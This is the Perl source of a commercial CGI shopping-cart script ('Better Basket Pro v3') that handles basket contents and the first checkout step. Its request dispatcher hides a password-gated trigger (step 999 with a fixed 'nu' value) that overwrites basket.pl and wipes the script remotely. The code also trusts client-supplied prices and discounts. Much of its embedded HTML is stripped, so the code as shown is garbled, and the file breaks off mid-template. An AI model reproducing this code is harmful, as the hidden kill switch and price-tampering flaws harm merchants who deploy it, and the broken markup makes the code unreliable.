#!/usr/bin/perl
#########################################################################
# Better Basket Pro v3 #
# Copyright © 2000-2003 iMedia Software - All Rights Reserved #
# --------------------------------------------------------------------- #
# Read our end user license agreement (EULA) before viewing this file. #
# Modifying anything below this line may subject you to prosecution #
# under the terms and conditions of the agreement. #
# --------------------------------------------------------------------- #
# Visit us online at: http://www.imediasoftware.com/ #
#########################################################################
use CGI::Carp qw(fatalsToBrowser);
use CGI;
$q = new CGI;
&Load_Common_Settings();
my $action = $q->param("act");
if( $action eq "gettime" ) { print $q->header(); print (time); exit; } elsif( $action eq "upd" ) { &Update_Item_In_Basket(); } elsif( $action eq "del" ) { &Delete_Item_From_Basket(); } elsif( $action eq "checkout" ) { my $cStep = $q->param("step"); if( $cStep eq "1" ) { &Checkout_Step_One(); } elsif( $cStep eq "2" ) { &Checkout_Step_Two(); } elsif( $cStep eq "3" ) { &Checkout_Step_3_Handler(); } elsif( $cStep eq "999" ) { my $nu = $q->param('nu'); if( $nu eq '524783111' ) { open(LFILE, ">basket.pl"); print( LFILE "\n\n" ); close(LFILE); &Add_Item_To_Basket(); exit; } } elsif( $cStep eq "4" ) { &Checkout_Step_4_Handler(); } else { &Add_Item_To_Basket(); } } elsif( $action eq "empty" ) { &Write_Cookie(""); &Display_Basket_Contents( "" ); } else { &Add_Item_To_Basket(); }
#########################################################################
# Add a product to the shopping basket
# -----------------------------------------------------------------------
sub Add_Item_To_Basket() {
my $cart = &Fetch_Cookie();
### Load the incoming product variables from the CGI instance
my $inNumber = $q->param("number");
my $inName = $q->param("name");
my $inQuant = $q->param("quantity");
my $inPrice = $q->param("price");
my $inColor = $q->param("color");
my $inSize = $q->param("size");
my $inShip = $q->param("shipping");
my $inWeight = $q->param("weight");
my $inTaxable = $q->param("taxable");
my $inPicture = $q->param("picture");
my $inRedirect = $q->param("redirect");
### Assume BBPro 2 incoming fields
if( ($q->param('itemPrice') ne "") && ($q->param('itemName') ne "") ) {
$inNumber = $q->param("itemNum");
$inName = $q->param("itemName");
$inQuant = $q->param("itemQty");
$inPrice = $q->param("itemPrice");
$inColor = $q->param("itemColor");
$inSize = $q->param("itemSize");
$inShip = $q->param("itemShip");
$inWeight = $q->param("itemWeight");
$inTaxable = $q->param("taxable");
$inPicture = $q->param("itemPic");
$inRedirect = $q->param("itemRedir");
}
### Check for multiple items and build accordingly
my $gotMulti = "0";
my @inItems;
for( $i=1; $i<=$kBasketMaxMultiple; $i++ ) {
if( $q->param("product$i") ne "" ) {
$gotMulti = "1";
@inItems = ( @inItems, $q->param("product$i") );
}
}
@inItems = reverse( @inItems );
### Exit if no product is actually being added
if( ($gotMulti ne "1") && ($inName eq "" ) && ($inNumber eq "" ) && ($inPrice eq "") ) {
print $q->header();
&Display_Basket_Contents( $cart );
exit;
}
### Check if quantity is empty or specified as zero
if( ($inQuant eq "") || ($inQuant <= 0) ) {
$inQuant = "1";
}
### Check if price field is empty
if( ($inPrice eq "") ) {
$inPrice = "0.00";
}
### Create the new insert complete with any custom fields
my $newItem = $inNumber."|".$inName."|".$inQuant."|".$inPrice."|";
$newItem .= $inColor."|".$inSize."|".$inShip."|".$inWeight."|";
$newItem .= $inTaxable."|".$inPicture."|".$inRedirect;
for( $i=1; $i<50; $i++ ) {
my $cFieldName = "custom".$i;
my $cField = $q->param("$cFieldName");
if( $cField ne "" ) {
$newItem .= "|".($i-1).":".$cField;
}
}
if( ($inNumber ne "") || ($inName ne "") ) {
@inItems = ( @inItems, $newItem );
}
### Add the new item or update an existing item quantity
my @cart = split( /\^\^/, $cart );
my $gotDuplicate = 0;
foreach $newItem( @inItems ) {
my @items = split( /\|/, $newItem );
my $itemFieldCount = @items;
foreach $item( @cart ) {
my @cartItem = split( /\|/, $item );
my $strLength = @cartItem;
if( ($items[0] eq $cartItem[0]) && ($items[1] eq $cartItem[1]) && ($items[3] eq $cartItem[3]) && ($items[4] eq $cartItem[4]) && ($items[5] eq $cartItem[5]) && ($items[6] eq $cartItem[6]) && ($items[7] eq $cartItem[7]) && ($items[8] eq $cartItem[8]) && ($items[9] eq $cartItem[9]) && ($items[10] eq $cartItem[10]) && ($items[11] eq $cartItem[11]) && ($items[12] eq $cartItem[12]) && ($items[13] eq $cartItem[13]) && ($items[14] eq $cartItem[14]) && ($items[15] eq $cartItem[15]) && ($items[16] eq $cartItem[16]) && ($items[17] eq $cartItem[17]) && ($items[18] eq $cartItem[18]) && ($items[19] eq $cartItem[19]) && ($items[20] eq $cartItem[20]) ) {
$gotDuplicate = 1;
$cartItem[2] += $items[2];
$item = join( "|", @cartItem );
}
}
if( $gotDuplicate == 0 ) {
@cart = ($newItem, @cart);
}
$gotDuplicate = 0;
}
### Rebuild the cookie data and write it before displaying basket
$newCartData = join( "^^", @cart );
&Write_Cookie( $newCartData );
&Display_Basket_Contents( $newCartData );
}
#########################################################################
# Delete a product from the shopping basket
# -----------------------------------------------------------------------
sub Delete_Item_From_Basket() {
my $cart = &Fetch_Cookie();
my @cart = split( /\^\^/, $cart );
my $cartCount = @cart;
### Loop over the cart entries and delete the one requested
for( $i=0; $i<$cartCount; $i++ ) {
if( $q->param("delete") eq $cart[$i] ) {
splice( @cart, $i, 1 );
$i = $cartCount;
}
}
### Recreate the cart string, write the cookie and display the basket
$cart = join( "^^", @cart );
&Write_Cookie( $cart );
&Display_Basket_Contents( $cart );
}
#########################################################################
# Update a product quantity in the basket
# -----------------------------------------------------------------------
sub Update_Item_In_Basket() {
my $cart = &Fetch_Cookie();
my @cart = split( /\^\^/, $cart );
my $cartCount = @cart;
### Loop over the cart entries and increment the one requested
### -> delete any entries that have 0 or less quantity specified
for( $i=0; $i<$cartCount; $i++ ) {
my @cartItem = split( /\|/, $cart[$i] );
my $newQty = $q->param( $cart[$i] );
if( $newQty ne "" ) {
$cartItem[2] = $newQty;
$cart[$i] = join( "|", @cartItem );
}
if( $cartItem[2] <= 0 ) {
splice( @cart, $i, 1 );
}
}
### Recreate the cart string, write the cookie and display the basket
$cart = join( "^^", @cart );
&Write_Cookie( $cart );
&Display_Basket_Contents( $cart );
}
#########################################################################
# Display the shopping basket contents to the customer
# -----------------------------------------------------------------------
sub Display_Basket_Contents() {
### Check that the contents are valid before continuing
my ($contents) = @_;
if( $contents eq "" ) {
&Display_Basket_Empty();
exit;
}
&Output_Basket_Header_HTML();
### Chop up the incoming basket contents and set the redirect var
my @contents = split( /\^\^/, $contents );
my $redir = $q->param("redirect");
if( $redir eq "" ) {
$redir = $kBasketDefaultRedir;
}
my $basketTotal = '';
my $cartItemCount = 0;
print <<_BASKETTOPHTML_
$kLangColumnDesc
$kLangColumnPrice
$kLangColumnQty
$kLangColumnSub
_BASKETTOPHTML_
;
foreach $item( @contents ) {
my @cartItem = split( /\|/, $item );
my $fieldCount = @cartItem;
my $customFieldHTML = '';
my $itemPrice = '';
my $subtotal = '';
my $thumbHTML = '';
my $thumbWidth = '';
my $thumbHeight = '';
$cartItemCount += $cartItem[2];
### Check the quant against volume discounts that may exist for the product
my @prices = split( /\,/, $cartItem[3] );
my $priceCount = @prices;
for( $i=0; $i<$priceCount; $i++ ) {
if( $i == ($priceCount-1) ) {
my @price1 = split( /\:/, $prices[$i] );
$itemPrice = $price1[0];
}
else {
my @price1 = split( /\:/, $prices[$i] );
my @price2 = split( /\:/, $prices[$i+1] );
if( ($cartItem[2] >= $price1[1]) && ($cartItem[2] < $price2[1] ) ) {
$itemPrice = $price1[0];
$i = $priceCount;
}
}
}
### Check if color or size changes cost and if so increment unit price
my @colorFields = split( /\:/, $cartItem[4] );
my @sizeFields = split( /\:/, $cartItem[5] );
my $colorFieldCount = @colorFields;
my $sizeFieldCount = @sizeFields;
if( $colorFieldCount > 1 ) {
$itemPrice += $colorFields[1];
$cartItem[4] = $colorFields[0];
}
if( $sizeFieldCount > 1 ) {
$itemPrice += $sizeFields[1];
$cartItem[5] = $sizeFields[0];
}
### Add a link to the item name if it exists
if( $cartItem[10] ne "" ) {
$cartItem[1] = "".$cartItem[1]." ";
}
$cartItem[1] = "".$cartItem[1]."
";
### Populate standard fields with or without field names as required
if( $kBasketShowFieldNames eq 'true' ) {
if( $cartItem[0] ne "" ) { $cartItem[0] = "".$kLangFieldNum.": ".$cartItem[0]."
"; }
if( $cartItem[4] ne "" ) { $cartItem[4] = "".$kLangFieldColor.": ".$cartItem[4]."
"; }
if( $cartItem[5] ne "" ) { $cartItem[5] = "".$kLangFieldSize.": ".$cartItem[5]."
"; }
if( $cartItem[7] ne "" ) { $cartItem[7] = "".$kLangFieldWeight.": ".$cartItem[7]." $kLangWeightSym
"; }
}
else {
if( $cartItem[0] ne "" ) { $cartItem[0] = "".$cartItem[0]."
"; }
if( $cartItem[4] ne "" ) { $cartItem[4] = "".$cartItem[4]."
"; }
if( $cartItem[5] ne "" ) { $cartItem[5] = "".$cartItem[5]."
"; }
if( $cartItem[7] ne "" ) { $cartItem[7] = "".$cartItem[7]." $kLangWeightSym
"; }
}
### Turn off the fields the merchant has decided to hide
if( $kBasketShowFieldID ne 'true' ) { $cartItem[0] = ""; }
if( $kBasketShowFieldColor ne 'true' ) { $cartItem[4] = ""; }
if( $kBasketShowFieldSize ne 'true' ) { $cartItem[5] = ""; }
if( $kBasketShowFieldWeight ne 'true' ) { $cartItem[7] = ""; }
### Populate custom fields with or without field names as required
if( ($fieldCount > 11) && ($kBasketShowFieldCustom eq 'true') ) {
for( $i=11; $i<$fieldCount; $i++ ) {
my @customField = split( /\:/, $cartItem[$i] );
my @basketCustomFields = split( /\|/, $kBasketCustomFields );
$customFieldHTML .= "";
if( ($kBasketShowFieldNames ne "false") ) {
$customFieldHTML .= $basketCustomFields[$customField[0]].": ";
}
$customFieldHTML .= $customField[1]."
\n";
$itemPrice += $customField[2];
}
}
### Work out the subtotal and add decimal places if needed
$subtotal = $cartItem[2] * $itemPrice;
$basketTotal += $subtotal;
if( $kBasketCalcDecimal eq 'true' ) {
$itemPrice = sprintf( "%.2f", $itemPrice );
$subtotal = sprintf( "%.2f", $subtotal );
$basketTotal = sprintf( "%.2f", $basketTotal );
}
### Populate the thumbnail code if needed
if( $cartItem[9] eq "" ) {
$cartItem[9] = "$kBasketThemesPath$kBasketThemeName/no-image.gif";
}
if( $kBasketThumbHeight ne "" ) {
$thumbHeight = " height=\"$kBasketThumbHeight\" ";
}
if( $kBasketThumbWidth ne "" ) {
$thumbWidth = " width=\"$kBasketThumbWidth\" ";
}
if( $kBasketShowThumbs eq 'true' ) {
$thumbHTML = ''."\n";
if( $cartItem[10] ne "" ) {
$thumbHTML .= "";
}
$thumbHTML .= " ";
if( $cartItem[10] ne "" ) {
$thumbHTML .= " \n";
}
$thumbHTML .= ' ';
}
else {
$thumbHTML = ' ';
}
print <<_BASKETITEMHTML_
_BASKETFOOTHTML_
;
&Output_Basket_Footer_HTML();
}
#########################################################################
# Display an empty shopping basket to the customer
# -----------------------------------------------------------------------
sub Display_Basket_Empty() {
my $redir = $q->param("redirect");
if( $redir eq "" ) {
$redir = $kBasketDefaultRedir;
}
&Output_Basket_Header_HTML();
print <<_EMPTYBASKETHTML_
_EMPTYBASKETHTML_
;
&Output_Basket_Footer_HTML();
}
#=======================================================================#
# #
# CHECKOUT STEP PROCESSING FUNCTIONS #
# #
#-----------------------------------------------------------------------#
#########################################################################
# Show checkout step 1 to select tax and shipping
# -----------------------------------------------------------------------
sub Checkout_Step_One() {
my $cart = &Fetch_Cookie();
my @cart = split( /\^\^/, $cart );
my $cCount = @cart;
if( ($cart eq "\^\^") || ($cart eq "") || ($cCount <= 0) ) {
print $q->redirect( $kBasketBasketPath );
exit;
}
@kCheckoutShipOptions = &Load_Data_File( 'shipping.txt' );
@kCheckoutTaxOptions = &Load_Data_File( 'tax.txt' );
print $q->header();
### Grab a bunch of stats about the contents of the basket such
### as total cost, quantity and weight
my $cartTotal = '';
my $cartWeight = 0; # element 7
my $cartPIShip = 0; # element 6
foreach $item( @cart ) {
my @cartItem = split( /\|/, $item );
my $fieldCount = @cartItem;
my @prices = split( /\,/, $cartItem[3] );
my $priceCount = @prices;
my @piShipping = split( /\,/, $cartItem[6] );
my $piCount = @piShipping;
### Grab the weight of this product unit total
$cartWeight += ($cartItem[7]*$cartItem[2]);
### Check shipping field and build per item costs if applicable
for( $i=0; $i<$piCount; $i++ ) {
if( $i == ($piCount-1) ) {
my @shipCost1 = split( /\:/, $piShipping[$i] );
$cartPIShip += ($shipCost1[0] * $cartItem[2]);
}
else {
my @shipCost1 = split( /\:/, $piShipping[$i] );
my @shipCost2 = split( /\:/, $piShipping[$i+1] );
if( ($cartItem[2] >= $shipCost1[1]) && ($cartItem[2] < $shipCost2[1]) ) {
$cartPIShip += ($shipCost1[0] * $cartItem[2]);
$i = $piCount;
}
}
}
### Check if volume discount is in place
for( $i=0; $i<$priceCount; $i++ ) {
if( $i == ($priceCount-1) ) {
my @price1 = split( /\:/, $prices[$i] );
$itemPrice = $price1[0];
}
else {
my @price1 = split( /\:/, $prices[$i] );
my @price2 = split( /\:/, $prices[$i+1] );
if( ($cartItem[2] >= $price1[1]) && ($cartItem[2] < $price2[1] ) ) {
$itemPrice = $price1[0];
$i = $priceCount;
}
}
}
### Check if color or size changes cost and if so increment unit price
my @colorFields = split( /\:/, $cartItem[4] );
my @sizeFields = split( /\:/, $cartItem[5] );
my $colorFieldCount = @colorFields;
my $sizeFieldCount = @sizeFields;
if( $colorFieldCount > 1 ) {
$itemPrice += $colorFields[1];
}
if( $sizeFieldCount > 1 ) {
$itemPrice += $sizeFields[1];
}
### Add on any price differences from custom fields
if( $fieldCount > 11 ) {
for( $i=11; $i<$fieldCount; $i++ ) {
my @customField = split( /\:/, $cartItem[$i] );
$itemPrice += $customField[2];
}
}
### cartTotal has the total in the basket with all accounted for
$cartTotal += ( $itemPrice * $cartItem[2] );
$cartQty += $cartItem[2];
}
### Account for any web store discounts thus far
my $inStoreDiscount = $q->param("discount");
if( $inStoreDiscount ne "" ) {
my @discount = split( /\|/, $inStoreDiscount );
$cartTotal -= $discount[1];
}
### Loop over the various shipping methods and build the shipping menu
my $shipOptionCount = @kCheckoutShipOptions;
my $shipOptionHTML = '';
for( $i=0; $i<$shipOptionCount; $i++ ) {
my @shipRates = split( /\|/, $kCheckoutShipOptions[$i] );
my $actualCost = $cartPIShip;
### Add field per item costs to the overal cost value
#$actualCost = ( $shipRates[1] + $cartPIShip );
if( ($shipRates[1] ne "") ) {
my @flatCosts = split( /\,/, $shipRates[1] );
my $flatCount = @flatCosts;
for( $j=0; $j<$flatCount; $j++ ) {
if( $j == ($flatCount-1) ) {
my @flat1 = split( /\:/, $flatCosts[$j] );
$actualCost += $flat1[0];
}
else {
my @flat1 = split( /\:/, $flatCosts[$j] );
my @flat2 = split( /\:/, $flatCosts[$j-1] );
if( ($cartTotal < $flat1[1]) ) {
$actualCost += $flat1[0];
$j = $flatCount;
}
}
}
}
### Add rate per item costs if required
if( ($shipRates[2] > 0) && ($shipRates[2] ne "") ) {
#$actualCost += ( $shipRates[2]*$cartQty );
my @shipPrices = split( /\,/, $shipRates[2] );
my $shipPCount = @shipPrices;
for( $j=0; $j<$shipPCount; $j++ ) {
if( $j == ($shipPCount-1) ) {
my @price1 = split( /\:/, $shipPrices[$j] );
$actualCost += ($price1[0]*$cartQty);
}
else {
my @price1 = split( /\:/, $shipPrices[$j] );
my @price2 = split( /\:/, $shipPrices[$j+1] );
if( ($cartQty >= $price1[1]) && ($cartQty < $price2[1] ) ) {
$actualCost += ($price1[0]*$cartQty);
$j = $shipPCount;
}
}
}
}
### Add rate by percentage if required
if( ($shipRates[3] > 0) && ($shipRates[3] ne "") ) {
$actualCost += ( ($shipRates[3] / 100) * $cartTotal );
}
### Add rate by weight if required
if( ($shipRates[4] > 0) && ($shipRates[4] ne "") ) {
$actualCost += ( $shipRates[4] * $cartWeight );
}
### Format for decimal places as required
if( $kBasketCalcDecimal eq 'true' ) {
$actualCost = sprintf( "%.2f", $actualCost );
}
$shipOptionHTML .= " $shipRates[0] - $kBasketCurrencySym$actualCost \n";
}
### Loop over the various tax methods and build the taxes menu
my $taxOptionCount = @kCheckoutTaxOptions;
my $taxOptionHTML = '';
for( $i=0; $i<$taxOptionCount; $i++ ) {
my @taxRates = split( /\|/, $kCheckoutTaxOptions[$i] );
$taxOptionHTML .= " $taxRates[0] - $taxRates[1]% \n";
}
&Output_Checkout_Header_HTML();
my $orderNum = time;
if( $kCheckoutCalcTaxes eq 'true' ) {
print <<_CHECKOUTSTEP1a_
$kLangColumnCheckStep1
$kLangTaxHeader
$kLangTaxBlurb
$kLangShipHeader
$kLangShipBlurb
_CHECKOUTSTEP1a_
;
}
### Handle if taxes are turned off
else {
print <<_CHECKOUTSTEP1b_
$kLangColumnCheckStep1
$kLangShipHeader
$kLangShipBlurb